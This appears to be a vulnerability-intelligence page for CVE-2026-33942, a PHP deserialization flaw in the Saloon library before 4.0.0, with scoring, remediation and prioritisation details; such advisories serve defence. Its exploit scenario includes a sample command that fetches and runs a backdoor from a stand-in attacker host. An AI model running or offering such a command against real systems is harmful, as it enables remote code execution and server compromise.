Skip to main content

Saloon EUVDEUVD-2026-16070

| CVE-2026-33942 HIGH
Deserialization of Untrusted Data (CWE-502)
2026-03-26 GitHub_M
8.1
CVSS 4.0 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Compromise cached token file or inject serialized payload
  2. Delivery
    Supply malicious gadget object
  3. Exploit
    PHP unserialize() instantiates object
  4. Execution
    Magic methods executed
  5. Impact
    Remote code execution via gadget chain

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V1 - Encoding and Sanitization Safe deserialization, type allowlists
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must control serialized OAuth token data (via cache file overwrite, storage injection, or similar) in Saloon PHP library versions <4.0.0. AccessTokenAuthenticator::unserialize() with allowed_classes=>true enables object injection via gadget chains in common dependencies.

Impact

This vulnerability represents a critical real-world risk due to multiple compounding factors. While CVSS and EPSS scores are not provided in the intelligence data, the attack vector is network-adjacent to local, requires medium complexity (gadget chain construction and cache/file control), and demands no privilege escalation-all indicators of exploitability. The vulnerability is not listed as actively exploited via CISA KEV at present, but proof-of-concept exploitation is feasible given the well-documented nature of PHP object injection and the availability of gadget chains in Monolog (a ubiquitous logging library). The technical impact is catastrophic: remote code execution with application privileges. The true risk hinges on attack surface: an application must either cache tokens to disk, accept serialized tokens from external input, or allow an attacker to write to the cache location. In shared hosting, container, or multi-tenant environments, cache poisoning becomes highly probable. Organizations using Saloon for OAuth integrations should treat this as high-priority, especially if tokens are cached persistently or if Monolog or similar gadget-rich libraries are installed.

Exploit ScenarioDerived

An attacker gains write access to the application's token cache directory via a directory traversal bug, insecure upload handler, or container escape. The attacker crafts a malicious PHP serialized object (gadget chain using Monolog's StreamHandler or similar classes) that executes shell_exec('wget http://attacker.com/backdoor.php -O /tmp/shell.php && php /tmp/shell.php') when instantiated. When the application next initializes an OAuth connection and loads the poisoned cached token via AccessTokenAuthenticator::unserialize(), PHP instantiates the gadget object, triggers __destruct or __wakeup methods in the chain, and executes the attacker's command with the same privileges as the web server, resulting in a fully compromised application and potential lateral movement to downstream systems.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 26, 2026

Saloon PHP library versions prior to 4.0.0 contain a PHP object injection vulnerability in the AccessTokenAuthenticator::unserialize() method, which unsafely deserializes OAuth token state using unserialize() with allowed_classes set to true. An attacker who can control the serialized token string-such as by overwriting a cached token file or injecting malicious data-can supply a crafted serialized gadget object that executes arbitrary code through PHP magic methods during deserialization. In environments with common dependencies like Monolog present, this vulnerability can be reliably chained to achieve remote code execution (RCE), making it a critical threat to any API integration or SDK built on vulnerable Saloon versions.

RemediationAI

Upgrade Saloon to version 4.0.0 or later immediately. Version 4.0.0 removes PHP serialization from the AccessTokenAuthenticator class entirely, requiring developers to manually implement and manage token storage and restoration logic, which eliminates the attack surface. Until patching is complete, implement defense-in-depth: (1) restrict file system permissions on cache directories to prevent unauthorized writes, (2) disable or isolate Monolog and other gadget-rich dependencies if not actively used, (3) validate token cache integrity using cryptographic signatures (HMAC-SHA256) before deserialization, and (4) run Saloon-dependent code in a sandbox or container with restricted capabilities. Review the upgrade guide at https://docs.saloon.dev/upgrade/upgrading-from-v3-to-v4 for migration steps to the new manual token management pattern.

Affected VersionsENISA

saloon < 4.0.0

Affected Packages

composer saloonphp/saloon fix: 4.0.0
euvd saloon fix: 4.0.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Saloon is a PHP library (CPE: cpe:2.3:a:saloonphp:saloon) designed to simplify OAuth and API integrations. The vulnerability stems from unsafe deserialization practices in the AccessTokenAuthenticator class, which falls under CWE-502 (Deserialization of Untrusted Data). The root cause is the use of PHP's native unserialize() function with allowed_classes set to true, which permits instantiation of any PHP class present in the application's dependency tree. When an attacker-controlled serialized string is passed to unserialize(), PHP instantiates arbitrary objects and triggers their magic methods (__wakeup, __construct, __destruct, etc.), allowing gadget chains from common libraries (particularly Monolog) to execute system commands. This is a well-known attack vector in PHP security, especially in frameworks and libraries that handle persistent state like authentication tokens.

Know when Saloon gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.1 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Mar 26, 2026 - 00:27 nvd
HIGH 8.1

DescriptionGitHub Advisory

Saloon is a PHP library that gives users tools to build API integrations and SDKs. Versions prior to 4.0.0 used PHP's unserialize() in AccessTokenAuthenticator::unserialize() to restore OAuth token state from cache or storage, with allowed_classes => true. An attacker who can control the serialized string (e.g. by overwriting a cached token file or via another injection) can supply a serialized "gadget" object. When unserialize() runs, PHP instantiates that object and runs its magic methods (__wakeup, __destruct, etc.), leading to object injection. In environments with common dependencies (e.g. Monolog), this can be chained to remote code execution (RCE). The fix in version 4.0.0 removes PHP serialization from the AccessTokenAuthenticator class requiring users to store and resolve the authenticator manually.

Executive ViewAI

Why It Matters

Organizations using Saloon face notable risk from CVE-2026-33942, a insecure deserialization vulnerability rated CVSS 8.1. Insecure deserialization could allow attackers to execute arbitrary code by providing crafted serialized data. Organizations should apply vendor updates when available and consider compensating controls in the interim.

Business Impact: High
Compensating Controls

Apply vendor patch. If immediate patching is not feasible: (1) Restrict deserialization endpoints; (2) Implement integrity checks on serialized data; (3) Use type-safe alternatives.

Threat Intelligence Overview

EPSS Score
0.6%
Top 31% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.6%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Total

Priority Score

41
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Related Vulnerabilities in PHP Deserialization Object Injection

View all 2

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy